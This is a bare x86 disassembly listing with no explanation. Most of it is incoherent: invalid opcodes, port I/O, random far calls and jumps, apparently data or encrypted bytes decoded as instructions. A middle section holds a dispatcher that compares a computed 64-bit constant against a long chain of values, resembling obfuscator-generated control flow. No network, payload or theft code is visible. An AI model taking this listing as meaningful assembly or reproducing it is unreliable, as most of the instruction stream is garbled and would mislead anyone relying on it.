xor dword [edx + edx*4 + 0x3cb0fc90], edx
js 0x6e3c1d77
add dword [esi], ebp
invalid
mov bh, ch
or dword [eax], eax
shl byte [eax], cl
inc eax
cmpsd dword [esi], dword es:[edi]
in al, dx
invalid
imul ebx, dword [edx], 0x6afb755a
loopne 0x6e3c1e39
jne 0x6e3c1e10
push 0xffffffffffffffe0
and dword [esi], esp
salc
salc
add ebp, dword [edx - 0x33]
test dword [esi - 0x33], esi
mov byte [ecx - 0x6b], bh
loope 0x6e3c1e5f
add dword [ebx], edi
pushfd
mov ebx, esp
mov word [edx + 0x4b], ds
aam 0x7f
fsubr st(1)
insd dword es:[edi], dx
sbb al, 0xbc
pop edi
fistp qword [ebp - 0x2dd0763]
and bh, ch
outsd dx, dword [esi]
mov esi, 0x389af713
dec esp
sti
mov byte [eax - 0x3d], al
test al, 0xf
inc ebp
into
push edi
jns 0x6e3c1dfc
int 0xbe
je 0x6e3c1e84
ret
cmpsd dword [esi], dword es:[edi]
cmp ecx, edx
add eax, 0x9c761ed4
in al, dx
int 0xd1
xchg ebx, eax
dec ecx
stosd dword es:[edi], eax
or eax, 0x83751949
imul ecx, dword [edi + 0x60], 0xf8f2de9
xchg esi, eax
dec ebx
jno 0x6e3c1ea3
test eax, 0x95334768
xchg ebp, eax
mov byte [ecx + 0x643297e8], ah
mov eax, dword [0x643297e8]
daa
invalid
rcl dword [ebx - 0x691e08af], cl
adc al, 0xf3
sti
cli
mov edx, 0x1d9bce13
pop ds
jge 0x6e3c1e6b
inc edx
aam 0xd4
inc ecx
je 0x6e3c1e94
sub dword [0x285e5c33], ecx
dec edx
add dword [ebx + 0x73], edx
xchg bl, al
aaa
add dh, bl
push esi
xor dh, byte [esi]
dec ebp
jl 0x6e3c1e72
test al, 0x1d
salc
ja 0x6e3c1f0b
int 0xcb
invalid
fmul dword [edx - 0x6c]
cmpsb byte [esi], byte es:[edi]
dec esp
stosd dword es:[edi], eax
pop ds
or dword [ebp - 0x346d113f], eax
xor byte [ebx + eax*2 - 0x4aa7818e], ch
push ecx
push ss
int1
sub ah, bl
adc al, 0x19
rcl ebx, 1
aaa
wait
sar dword [ecx + esi + 0xa], 0xbd
mov byte [0x4910a8d4], al
in eax, dx
pop esi
or al, byte [esi]
leave
jns 0x6e3c1fb7
test byte [edx - 0xc], cl
test eax, 0x95b2fcde
sbb al, 0xab
invalid
xlatb
fnclex
cmp al, byte [ebx - 0x58]
into
and edx, 0x6cb8a8b2
xor al, dh
std
ficomp dword [0xa55e70af]
insd dword es:[edi], dx
bound esp, qword [edi]
xchg esi, eax
popal
cmp dword [ebx + 0x4a], esp
wait
xor eax, dword [edi + 0x367fed4b]
pop edi
invalid
and eax, 0x2bfbc5b9
xchg edi, eax
int3
adc bh, al
push ebx
invalid
int3
lodsb al, byte [esi]
shr dword [edi + 0xea4610f], 0xef
sub byte [ecx - 0x6c], cl
rol byte [ebp + 0x6f8ad8ae], cl
sahf
js 0x6e3c6422
xchg ebp, eax
test byte [edx], 0xa4
mov dl, 0x9b
rcr esp, 0x57
sub dword [ebp + 0x5b810884], 0x6f2af4d4
jb 0x6e3c64a5
pushal
retf 0x5b79
lodsd eax, dword [esi]
push ebp
retf
add byte [ebp + 0x6b], dh
ficom dword [edx - 0x53490ee8]
int1
inc edx
pop edi
inc ebx
out dx, al
pop es
mov edx, 0x829106b2
retf
js 0x6e3c9235
fcomp qword [ebx - 0x10]
test eax, 0x8cad39c6
dec esi
push edx
lodsd eax, dword [esi]
mov word [esi + 0x52], cs
xchg edx, eax
sahf
imul esp, dword [edx], 0xffffffa4
xor byte [ebx + 0x448fb3ee], 0xb5
and edx, dword [eax + ebp*2 + 0x6ea9035d]
ja 0x6e3c91de
adc bh, byte [eax + 0x2432a9fb]
scasd eax, dword es:[edi]
dec esp
sub ebx, 0x66cdda19
fld xword [esi - 0x16cda863]
mov esp, 0xd0690f5b
xchg ecx, eax
out dx, al
jl 0x6e3c9255
add ch, bl
adc dword [edi], edi
pushfd
js 0x6e3c91d6
lahf
mov bh, 0x32
push ecx
mov dh, 0x2d
fidiv word [eax]
fistp dword [edx - 0x6f]
nop
xchg byte [edi], bh
inc eax
sub al, 0x17
inc ecx
lcall 0x2566, 0x6642536b
xchg edi, eax
jle 0x6e3c9278
cmp eax, 0xeed9ee0f
lcall 0xcc90, 0x3e75870e
wait
pushal
and al, 0x55
popfd
cmp byte [edi], dh
or dword [ebp - 0x80], edx
jge 0x6e3c92b1
popal
xchg esi, eax
jno 0x6e3c91f5
aad 0x1f
shr byte [0x2435b4d8], cl
adc al, 0x56
lcall 0x574e, 0x518c8ead
out dx, al
enter 0xffffffffffffb763, 0xffffffffffffff9c
popal
fcomp dword [ebp + 0x477847a8]
dec esi
movsb byte es:[edi], byte cs:[esi]
int1
add byte [ecx - 0x65c6ff28], dl
out dx, al
sbb esi, dword [ebx + esi*4 - 9]
mov ebp, 0x6e819a53
cmp al, dl
into
add byte [ecx], bh
lcall 0xbdf7, 0xb3741bee
push ebx
lcall 0xce2e, 0xc23a6e81
sub al, 0x4a
xchg ebx, eax
mov esi, 0x88b709b8
jg 0x6e3c924f
push ds
lds esp, [eax + 0x33]
daa
invalid
ficom word [eax + 0x22]
loope 0x6e3c9253
lahf
rol byte [bx - 0x62a7], cl
pop esi
invalid
sbb dword [esi + 0x102b2dc4], 0x66258cae
push cs
in eax, 0xe8
mov cl, 0xfc
sub al, 4
fsubr dword [ebp - 0x36]
sar dword [edi], cl
pop ebx
xchg edi, eax
xor eax, 0xb5af9701
cwde
push 0x943f78f
xor bl, byte [edx]
cmpsd dword [esi], dword es:[edi]
xchg ebp, eax
pop es
sub al, 0xb
jb 0x6e3c92bc
das
shl dword [ecx - 0x792ec440], cl
pushal
fmul dword [esp + ecx + 0x15]
xchg byte [eax - 0x28], ah
dec esp
or al, 0x15
imul dword [ebx + 0x6e]
mov esi, 0xd1237d20
pop es
arpl word [esi + 0x672f4b2a], bx
pop ebx
lea ebp, [eax]
push esi
test byte [0x6c3e090e], ch
sbb al, byte [ebp + 0x5b7f2e41]
adc eax, 0xfdc4599a
jne 0x6e3c92a2
int3
mov bl, 0xc3
cli
loope 0x6e3c92e3
into
and ebp, dword [ecx - 0x5b70d7ee]
inc edx
cmp al, 0x1a
fmul dword [edi]
xor dword [ecx], 2
movsd dword es:[edi], dword [esi]
push ecx
rcl dword [edi + ebp*8 + 0x49d78722], 0xf0
dec esp
or ah, byte [eax - 0x27210acb]
ret
mov esi, 0x443f522e
inc dh
xor cl, dh
add bh, byte [ebx + 0x42]
daa
sbb dword [esi + 0x45], 0x3c
adc al, 0x46
test eax, 0x98c4a633
inc eax
clc
or eax, edx
movsb byte es:[edi], byte [esi]
lodsb al, byte [esi]
jmp 0xd35396d3
xchg edi, eax
inc ecx
add dword [edi + edi*4 - 0x7090cda8], edx
lahf
jne 0x6e3ca887
paddsb mm2, qword [eax + 0x3692ddcc]
mov dword [eax - 0x68ace702], esp
test esi, esp
pop edi
test al, 0xb0
add al, 0x3c
xor dh, byte [ebp - 0x55f5340f]
sub byte [ecx], bl
dec ecx
out 0xcc, eax
out dx, eax
in al, 0xa7
sbb cl, byte [esi + 0x73]
sbb al, 0x54
push esp
cmp byte [edi], bh
cwde
imul edx, dword [edx - 0x65436031], 0x36
pcmpgtd mm1, qword [ebp - 0x257c75af]
imul edi, esp, 0xf2874998
lcall 0xbb5c, 0x25a92d63
or al, 0x24
xchg edx, eax
popal
lds edi, [0xd1785db3]
in eax, 0x1d
std
test al, 0xfb
mov ebx, dword [eax - 0x771be6fb]
out dx, al
pushfd
jp 0x6e3ca9a1
pushal
add ebx, dword [edi - 0x68]
jnp 0x6e3ca911
push eax
xchg edi, eax
dec edi
mov eax, ebx
in eax, 0xbc
sub al, 0x76
jns 0x6e3ca8dd
loopne 0x6e3ca967
in eax, dx
push ebp
add cl, byte [esp + ebx*2 - 0x53fbaa12]
sti
and edi, dword [esp + ecx + 0x65]
fdiv dword [edx - 0x12d20fa9]
aad 0x4f
dec esi
xchg byte [ebx - 0x4d7f821f], ah
jnp 0x6e3ca9e4
fmul qword [ecx + 0xf]
sbb eax, 0xe95354ed
call 0xe6aec35a
xchg byte [0xf502ae37], dh
scasb al, byte es:[edi]
add dh, ch
inc esi
daa
xchg edi, ebp
mov bl, 0x70
mul esi
mov bl, 0x75
nop
into
jge 0x6e3ca950
jp 0x6e3ca9c0
and al, 0xd1
inc ebx
nop
inc edi
leave
mov byte [0x71bf57ed], al
invalid
mov edx, 0x239ecacd
rcl dword [edi + 0x3532dc32]
bound ecx, qword [0x6d7cc6c5]
xor dh, byte [0xc6c50d62]
jl 0x6e3caa3e
xchg ebx, eax
pop eax
stc
out dx, eax
sbb edi, dword [ecx - 0x32]
pop esi
cwde
shl dword [eax], 0xb2
dec esp
enter 0x1c93, 0xffffffffffffffdf
xchg ebx, eax
loopne 0x6e3ca98c
cmpsd dword [esi], dword es:[edi]
cmp cl, ch
push 0x2a
xor byte [edx], dl
inc esp
xchg byte [esi + 0x7b], bl
adc eax, 0xf91b473
movsd dword es:[edi], dword [esi]
adc eax, 0x7113efda
lds edx, [ebx]
add eax, 0x4071180e
das
pop ecx
dec ebp
add al, 0x6a
xlatb
out dx, al
ret 0x87b7
sub bl, byte [ecx + 0x11]
lds esp, [eax]
call 0xe64022b7
cmp byte [eax - 0x33d7d041], bl
pop ebx
mov dl, 0x3a
jb 0x6e3ca9c9
ljmp 0x6df3:0x7fe2a037
aaa
int3
loope 0x6e3caaeb
add byte [eax], al
daa
pop ss
and ah, ch
je 0x6e3caa1b
jns 0x6e3caa8c
insd dword es:[edi], dx
mov fs, esi
jne 0x6e3caae7
jmp 0x86cb350e
fld dword [edi - 0x47]
fcomp qword [eax + 0x31fc7922]
add ebx, dword [ecx + 0x51]
cwde
and bh, byte [ecx - 4]
xor dword [ebx], eax
pop ecx
push ecx
ljmp 0xf2b4:0x21a057e2
pop edi
sar dword [edx], 0xf0
push cs
int1
sbb edx, dword [0x419bbe5d]
cmpsd dword [esi], dword es:[edi]
mov ecx, 0xd13b00b
das
adc byte [ebx], al
loop 0x6e3cc249
dec edx
sbb bl, byte [edi]
clc
xor al, 0xd4
xchg esp, eax
xor eax, 0x91f9f1e0
adc edi, dword [ecx - 0x10e1c1cc]
push es
or edx, dword [edx + 0x79a13753]
xor eax, 0x8f1b9c67
jns 0x6e3cc260
dec ebp
invalid
lodsb al, byte [esi]
sbb al, 0xc5
pop esi
pop eax
dec edi
adc edx, dword [edi + 0x6a]
aaa
invalid
mov dl, byte [edx]
mov ecx, 0x24d43081
in eax, 0xc2
lock adc bh, byte [esi + 0x45]
jecxz 0x6e3cc243
inc ecx
iretd
test eax, 0x97aac3be
or edi, dword [edx]
jns 0x6e3cd9dc
add byte [ebx], 0xb2
salc
retf 0xf083
mov cl, 0x72
jne 0x6e3cda5b
jb 0x6e3cda53
jl 0x6e3cda3b
pop ebx
or ecx, dword [eax + eax]
sbb ch, bl
dec ebx
jl 0x6e3cd9db
mov cl, 0x66
mov cl, 0x66
sbb dword [edi + 0xe567a96], ebx
xchg byte [esi - 0x73f066d4], ah
out dx, eax
mov eax, 0xa8171847
hlt
jne 0x6e3cd9e7
jg 0x6e3cda19
stosb byte es:[edi], al
sub al, 0x3a
invalid
adc al, 0x61
scasd eax, dword es:[edi]
pushal
xchg ebp, eax
push ebx
pop edi
stc
mov ebp, dword [eax]
lcall 0x894d, 0x2a56f7ad
add esi, eax
invalid
push cs
dec eax
inc ebp
mov edx, 0xeffc7d21
not dword [edx - 0x77e1d130]
pop ss
dec edx
mov dword [0xbecc90f8], eax
jne 0x6e3cda87
salc
and dword [edx], 0x4a5a7835
scasd eax, dword es:[edi]
jne 0x6e3cdaa7
jne 0x6e3cdaa7
invalid
push ss
fld xword [eax]
je 0x6e3cda09
fst qword [ebx + 0x63]
pop ebp
std
and bh, byte [esi - 0x1e0c0958]
inc ebx
rcr byte [esi + 0x77], cl
xchg edi, eax
xchg esi, eax
push ecx
xor dword [ecx - 0x77], esi
out dx, al
movsd dword es:[edi], dword [esi]
xchg ebx, eax
sbb eax, 0x1e4415d4
jle 0x6e3cdadd
pop eax
popal
nop
push ebp
xchg ecx, eax
jp 0x6e3cdaa1
or byte [esi], cl
mov esi, 0x57a86f1d
inc esp
neg dword [eax]
loop 0x6e3cdb03
popal
or al, 0xfb
mov dword [0xc1eb6abc], eax
movsd dword es:[edi], dword [esi]
add al, 0x1c
in eax, 0x92
jmp 0x6e3cda6a
sbb al, 0xe5
xchg edx, eax
mov al, byte gs:[0xaf6d1a74]
jle 0x6e3cdaca
adc eax, 0x4e4fc226
mov ds, word [ecx + eax*8]
jbe 0x6e3cdb00
pop ecx
test eax, 0xea629949
push ebx
fcomi st(1)
stc
stc
idiv byte [edi]
lcall 0x22b7, 0xeeb19dc5
add eax, dword [ecx - 0x40]
stc
sub ebx, dword [ebp + ecx*8 - 0x184965f5]
jno 0x6e3cdaeb
lcall 0xdce1, 0x971e7b6
loope 0x6e3cdac0
je 0x6e3cdaab
mov cs, word [ecx - 0x1ffb16cd]
dec ebp
loopne 0x6e3cdb3a
xor ch, ah
aas
ret 0xcbe8
jne 0x6e3cdb5c
adc eax, 0x92c4f637
aaa
test ah, 0x92
invalid
fcomp dword [ecx + ebx*4]
mov byte [0xfa06ba16], al
in al, dx
sti
and ebx, dword [ebp + 0xaed129]
dec ecx
test ah, al
int3
cmp eax, 0xe6781be7
insd dword es:[edi], dx
sbb eax, dword [edi + 0x6a6f13a5]
pop ecx
invalid
dec eax
in al, 0x63
sal dword [esi + esi*4 - 0x620dda03], cl
jo 0x6e3cf16a
cmp dh, ah
or edi, dword [0x84500208]
xchg ebx, eax
hlt
loop 0x6e3cf19d
xor byte [edi + esi], ch
jg 0x6e3cf163
cli
iretd
sub esp, dword [ebx - 0x432e7079]
sbb byte [eax + 0x73], dh
jo 0x6e3cf1df
adc ebp, esi
cli
mov al, 0x79
test eax, 0xfb17339f
jmp 0x6e3cf13f
insd dword es:[edi], dx
add ebp, dword [ebx - 0x1e]
invalid
adc eax, 0xc66d78b7
stc
sub dword [esi], 0xfffffff5
sahf
cwde
ljmp 0xb0f9
nop
jmp 0x6e3d0871
nop
mov eax, dword [ebp - 0x1c0]
mov edx, dword [0x6e93d024]
add eax, edx
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x60], 0x7d2b7
mov dword [ebp - 0x5c], 0
mov dword [ebp - 0x68], 0x7a40b
mov dword [ebp - 0x64], 0
mov eax, dword [ebp - 0x5c]
imul eax, dword [ebp - 0x68]
mov edx, eax
mov eax, dword [ebp - 0x64]
imul eax, dword [ebp - 0x60]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x60]
mul dword [ebp - 0x68]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x6c], edx
mov eax, dword [ebp - 0x70]
xor eax, 0xc65449dd
mov edx, dword [ebp - 0x6c]
xor edx, 0x3b
or eax, edx
je 0x6e3f3fad
mov edx, 0xc65449dd
mov eax, 0x3b
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xf2fd2
or eax, dword [ebp - 0x6c]
je 0x6e3e3d88
mov edx, 0xf2fd2
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xdc656
or eax, dword [ebp - 0x6c]
je 0x6e3ddfa8
mov edx, 0xdc656
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xd9434
or eax, dword [ebp - 0x6c]
je 0x6e3d3b60
mov edx, 0xd9434
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xd8832
or eax, dword [ebp - 0x6c]
je 0x6e3d9940
mov edx, 0xd8832
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xc84c5
or eax, dword [ebp - 0x6c]
je 0x6e3d6a50
mov edx, 0xc84c5
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xc14b3
or eax, dword [ebp - 0x6c]
je 0x6e3db0b8
mov edx, 0xc14b3
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xb3b4b
or eax, dword [ebp - 0x6c]
je 0x6e3e5500
mov edx, 0xb3b4b
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xa491e
or eax, dword [ebp - 0x6c]
je 0x6e3f2838
mov edx, 0xa491e
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xa46d5
or eax, dword [ebp - 0x6c]
je 0x6e3ef948
mov edx, 0xa46d5
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0xa25e4
or eax, dword [ebp - 0x6c]
je 0x6e3df720
mov edx, 0xa25e4
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x986ba
or eax, dword [ebp - 0x6c]
je 0x6e3eca58
mov edx, 0x986ba
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x9671d
or eax, dword [ebp - 0x6c]
je 0x6e3dc830
mov edx, 0x9671d
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x93796
or eax, dword [ebp - 0x6c]
je 0x6e3e9b68
mov edx, 0x93796
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x89fd9
or eax, dword [ebp - 0x6c]
je 0x6e3d23e8
mov edx, 0x89fd9
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x8147a
or eax, dword [ebp - 0x6c]
je 0x6e3eb2e0
mov edx, 0x8147a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x7ac40
or eax, dword [ebp - 0x6c]
je 0x6e3e0e98
mov edx, 0x7ac40
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x777d6
or eax, dword [ebp - 0x6c]
je 0x6e3d52d8
mov edx, 0x777d6
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x73fcc
or eax, dword [ebp - 0x6c]
je 0x6e3e83f0
mov edx, 0x73fcc
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x7174c
or eax, dword [ebp - 0x6c]
je 0x6e3e2610
mov edx, 0x7174c
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x6b90a
or eax, dword [ebp - 0x6c]
je 0x6e3ee1d0
mov edx, 0x6b90a
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x3e6da
or eax, dword [ebp - 0x6c]
je 0x6e3f10c0
mov edx, 0x3e6da
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x143e8
or eax, dword [ebp - 0x6c]
je 0x6e3d0c70
mov edx, 0x143e8
mov eax, 0
cmp edx, dword [ebp - 0x70]
sbb eax, dword [ebp - 0x6c]
jl 0x6e3f3fb0
mov eax, dword [ebp - 0x70]
xor eax, 0x9175
or eax, dword [ebp - 0x6c]
je 0x6e3d81c8
mov eax, dword [ebp - 0x70]
xor eax, 0xcab3
or eax, dword [ebp - 0x6c]
je 0x6e3e6c78
jmp 0x6e3f3fb0
retf 0xc09a
mov dl, 0x51
cmp esp, esp
sbb al, 0x35
dec ebp
nop
iretd
cld
jge 0x6e3d2387
push es
std
inc esp
inc eax
mov eax, 0x95d471cc
push ebp
xor dword [eax], ebp
outsd dx, dword [esi]
pop esi
mov eax, dword [0x1b3e5eca]
sub al, 0xa5
stc
cli
xchg edi, eax
push ds
mov dh, 0xef
lodsd eax, dword [esi]
cmpsd dword [esi], dword es:[edi]
sbb ebx, dword [ecx]
lcall 0x50aa, 0x13813120
push esp
int1
push edi
stosb byte es:[edi], al
imul ebp, ebx, 0x7c
or byte [edi], bh
and edx, dword [0xf74b0b56]
fsubr dword [esp - 0x408c89f3]
invalid
inc edi
imul esi, ebp, 0x43178cb6
pop ds
pop es
dec ebp
mov bh, bl
rcr dword [ebx], cl
hlt
das
mov ah, ch
fld dword [eax - 0xe430b90]
test dword [edx - 0x49f66aea], edx
hlt
add eax, 0x7839a680
daa
sub al, byte [ecx + 4]
fcompi st(3)
aas
and al, 0x4b
lodsb al, byte [esi]
aam 0x30
movsb byte es:[edi], byte [esi]
or dword [ebp - 0x7bd58ab4], 0xc243ec56
jp 0x6e3d6aca
mov ah, byte [eax + 0x624e3c43]
mov cl, 0x75
xchg esi, eax
stosd dword es:[edi], eax
imul edi, dword [edx], 0xfffffff7
jne 0x6e3d6ac9
pop ecx
xor al, 0x79
cmp dword [edx], ebx
xchg ebp, eax
cmp dword [edx + 0x25], ebp
inc ecx
and cl, 0x64
jns 0x6e3d6add
enter 0x5132, 0
out dx, al
adc al, 0xfe
cli
sbb byte fs:[ecx - 0x54], 0x59
insb byte es:[edi], dx
arpl word [0x55aec296], sp
nop
xchg ebp, eax
call 0xa4887d3b
mov es, word [eax - 0x6a]
or esi, dword [esp + ebx*2]
in al, 0xd7
xchg edx, eax
and byte [edx], dh
cmp al, 0x3d
invalid
sbb al, 0xa5
movsd dword es:[edi], dword [esi]
and dword [eax + 0x5a], edx
mov eax, 0xbebcabce
std
in al, 0x3f
mov esp, 0x6634c5c6
std
fincstp
xor ah, byte [ebx - 0x1d66d6d6]
div dword [edx]
mov dword [0xe299292a], eax
sar edx, cl
hlt
invalid
mov dword [0xb8f3d3ab], eax
pop edi
ljmp 0xf6be
invalid
mov dh, 0xb8
pop edx
invalid
push ds
or dword [ebp + 0x2d], esi
aam 0xe0
push ebx
loope 0x6e3daee4
mov esp, 0x1f992703
sar byte [ebp - 0x662c06fc], 1
mov esi, 0x8ede7ec8
jmp 0x6e3daf91
out dx, al
sbb dl, byte [ecx + 0x12156688]
in eax, 0x60
adc dword [eax - 0x42], edx
push esp
push 0x35296c92
pop di
movsb byte es:[edi], byte [esi]
dec esi
stosd dword es:[edi], eax
lodsd eax, dword [esi]
xchg esp, eax
push 0x4480ae89
dec ebx
ror ebp, cl
scasb al, byte es:[edi]
add byte [ebx + ecx*2 - 0x2d], 0xcd
pushfd
jp 0x6e3daf26
les esi, [ebx - 0x46b2984e]
jbe 0x6e3daf54
mov al, 0x11
loope 0x6e3db00e
dec ebp
cmp dh, bl
xor cl, byte [ecx - 0x2f]
std
cmp ah, al
in eax, dx
cmpsd dword [esi], dword es:[edi]
in al, dx
lock sub byte [ebx + 0x56], dh
insd dword es:[edi], dx
outsd dx, dword [esi]
or eax, 0xe9a1ea6c
inc ebx
push ecx
dec edx
inc ebp
hlt
jnp 0x6e3daf76
adc ebp, eax
insb byte es:[edi], dx
popfd
dec edi
ret
cmpsb byte [esi], byte es:[edi]
dec ebp
jne 0x6e3dafca
cmp ebp, dword [ebx - 0x68]
xor bh, byte [eax]
wait
add bl, byte [ebp - 0x2d]
sub esp, dword [ebx]
inc ecx
bound eax, qword [eax + 0x33e493e6]
jmp 0x98e4a8af
out dx, eax
imul esi, dword [esi], 0xe0a86cbe
stc
xor esi, dword [edi - 0x6f]
ja 0x6e3db010
sbb eax, 0xb1d3fc1
add eax, 0xffffffb2
sar dword [esi - 0x7cf6310c], 1
mov ebx, 0xb936216b
jnp 0x6e3db0f6
lahf
push 0xd6fd6702
xor cl, byte [edx]
lodsd eax, dword [esi]
jo 0x6e3db0b5
hlt
mov es, word [ecx]
add dh, ch
out dx, al
pop es
sbb eax, 0xa67f8b0c
xor ebx, dword [edi]
sub dword [ebx - 0x2e], edi
mov byte [ebp + eax*2 + 0x64], ch
pop ecx
sti
or esi, edi
mov dh, 0x61
test al, 0x9f
add eax, 0x66bebb4b
fimul word [ebp - 0x2c]
jp 0x6e3db074
or bl, byte [edx + esi*4 + 0x358fc000]
test eax, 0xce32f9d9
cdq
mov esp, 0xcf22c6b5
jp 0x6e3db0fa
push edi
lodsb al, byte [esi]
cmpsb byte [esi], byte es:[edi]
test bh, bl
jecxz 0x6e3db07d
mov dword [eax], 0x88e60c72
out 0x88, al
cmc
ljmp 0xcca8
mov eax, 0x999e4fce
pop ss
mov edi, 0x68ac99bd
invalid
out dx, eax
pop edx
mov dh, 0x64
rcl byte [ecx], 0x3d
xchg esp, eax
and eax, 0x860084c8
fsqrt
pop ebx
mov bl, 0xdf
dec sp
adc al, 0x37
add byte [edi], 0x27
hlt
adc al, 0xa0
or ah, byte gs:[ecx + 0x1fa2c5bc]
or dword [ecx - 0x4a], edx
lds esi, [edx]
xor eax, 0x1e3c8a1c
adc cl, byte [ebp + 0x6dcd1ac3]
sbb cl, ch
insd dword es:[edi], dx
jl 0x6e3df736
out dx, eax
adc dword [edx - 0x13dbb04d], 0xffffffb1
retf
dec ebx
cmp esi, dword [ecx + edx + 0x5fda4645]
or cl, ah
xchg esp, eax
retf 0x2930
hlt
push es
cmp bh, dh
xor eax, 0x434b6fa3
popfd
ret 0x9ee4
push cs
pop ecx
xor byte [ebp - 0x20e5870b], ch
and al, 0x98
add al, 7
je 0x6e3e3cd9
xchg edi, eax
rcl byte [ebx + ebx*8], 0x78
stc
sub dword [ebx + 0x36], 0x4943b964
xor ch, byte [ebp - 0x58]
adc ebp, 0xcc90dd29
invalid
pop ecx
cmp dword [esi + 0x23abe498], ebp
not byte [eax]
mov esp, 0xe4767cf8
mov dl, 0xea
mov esp, 0x3bd11186
in eax, dx
pushal
and byte [esi - 0x49], bh
outsd dx, dword [esi]
or al, 0x62
loope 0x6e3e3c81
adc byte [eax + edi*8 - 0x4d1b8984], bh
ljmp 0xed3b
arpl word [edi], cx
jns 0x6e3e3c89
vmwrite ebp, dword [ebp + 0x395111d1]
inc edx
loope 0x6e3e3cc0
rcl dword [ecx]
push ecx
cmp dword [edx - 0x1f], eax
fld qword [0x5c882b4f]
add eax, 0x5c882b4f
mov byte [0x6901e1d1], al
push esp
shl ecx, 1
add dword [ecx + 0x54], ebp
mov ebx, 0xba5b6b86
lodsd eax, dword [esi]
invalid
jb 0x6e3e3c90
xor dh, byte [ebx]
jbe 0x6e3e3ce9
xor dh, bh
mov bl, 0x70
shr byte [edx - 3], 0xd
jecxz 0x6e3e3d5d
std
or eax, 0x79704ce3
jo 0x6e3e3d8c
push edi
jns 0x6e3e3d01
pop esp
ja 0x6e3e3cdc
out 0x37, eax
xchg esi, eax
out dx, eax
cld
xchg ebp, eax
push ds
jbe 0x6e3e3cb8
in eax, 0x62
sbb al, 0x87
insb byte es:[edi], dx
pop esi
ret
mov byte [0xabf21129], al
repne stosd dword es:[edi], eax
salc
jns 0x6e3e3d97
sal ebx, 0xe2
std
jno 0x6e3e3d0d
push ebx
daa
std
mov bh, byte [edi + 0x3b0d6330]
cdq
mov dword [edx + 0x6637d302], ecx
loope 0x6e3e3da5
sub dword [eax], edi
xor dword [0xf2ca4346], 0x3d
xchg esi, eax
push eax
xor eax, 0xe85c1acd
scasd eax, dword es:[edi]
dec ecx
adc dh, byte [ecx - 0x31]
retf 0x3df2
int 0x1a
pop esp
call 0x8087ecc1
jno 0x6e3e3d2e
sti
sub dword [esi + 0x70], 0xf86efd86
nop
lcall 0xbe31, 0xeb908b2
and byte [0x87fd944f], dl
js 0x6e3e3d2c
iretd
sub eax, 0xc9bdae20
leave
sbb al, 0x4a
je 0x6e3e3d55
imul ebx, dword [ebx - 0x3a], 0x77aa868d
adc esp, dword [eax - 0x60]
invalid
stosb byte es:[edi], al
ja 0x6e3e3dad
pushal
mov al, byte [0xcda0fec6]
jl 0x6e3e3d29
push ebp
stc
js 0x6e3e3d4f
test eax, 0x6ef4da53
imul eax, esp, 0x484f38f
ja 0x6e3e3e22
push ebx
